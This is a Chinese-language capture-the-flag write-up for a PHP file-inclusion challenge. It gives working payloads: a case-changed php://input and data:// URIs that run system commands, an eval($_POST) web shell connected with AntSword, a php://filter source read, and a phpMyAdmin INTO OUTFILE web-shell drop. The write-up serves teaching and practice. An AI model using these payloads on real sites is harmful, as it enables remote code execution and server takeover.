Web_php_include

思路

审计代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

可以看到这里直接include($page),$page参数我们可以进行控制，并且用的是str_replace()函数进行过滤，当匹配到php://时就把该部分替换为空，我们可以用别的协议进行绕过，也可大小写

注意这里有个while循环，故单纯的用phphp://p://是无法进行绕过的

思路一

利用php://input协议

虽然过滤了php://，但是我们可以通过大小写绕过

构造payload

?page=Php://input

POST_DATA：<?php system('ls') ?>

然后得到目录

再在

POST_DATA:<?php system('cat fl4gisisish3r3.php'); ?>

得到flag

这里如果利用hackbar,可能post包会交不上去，也不知道为啥，在执行cat文件时，flag并不会显示在页面上，要查看源代码才能看到，这是为啥，也不清楚。。

思路二

利用data协议

构造payload

?page=data://text/plain,<?php system('ls'); ?>

?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>

这里直接在url上执行，用bp的时候不知道为什么执行不了，但是换个编码就行了，不知道为啥，一脑迷
在bp上执行不了的原因是空格要进行url编码，用+或者%20代替空格才可以执行，类似的还有如果cd%20%26%26ls,%26表示&，如果直接输入&也会执行不了。
所以在bp中构造
?page=data://text/plain,<?php+system('cat%20fl4gisisish3r3.php')%20?>
当我们用&时，%26代替
?page=data://text/plain,<?php+system('cat%20phpinfo.php%26%26cat+fl4gisisish3r3.php')%20?>
也可以直接用data协议挂马

?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

直接往蚁剑上粘贴

http://220.249.52.133:53841/?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

密码hacker,就连上了后台

思路三

?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

再base64解码下

思路四

用dirsearch扫一下，发现有phpmyadmin文件

进去之后，账号root,密码为空（可能默认这样）

然后在sql语句中执行

show variables like "secure_file_priv"

当secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制

查询为空，说明可以导入和导出文件

执行

select "<?php @eval($_POST['hacker']); ?>" into outfile '/tmp/hacker.php'

注意 select 后面的要写入的文件内容是用双引号引起的，因为如果用单引号的话会与'hacker'中的单引号进行闭合导致报错，在sql语句中还是尽量使用双引号。
便可在/tmp下找到小马，Linux下一般/tmp文间夹下允许导入文件，如果换成其他文件夹就会报错,然后蚁剑连接。
http://220.249.52.133:39182/?page=/tmp/hacker.php

上述特舒情况，用php://input最好用bp,用data协议就直接在url上输入就行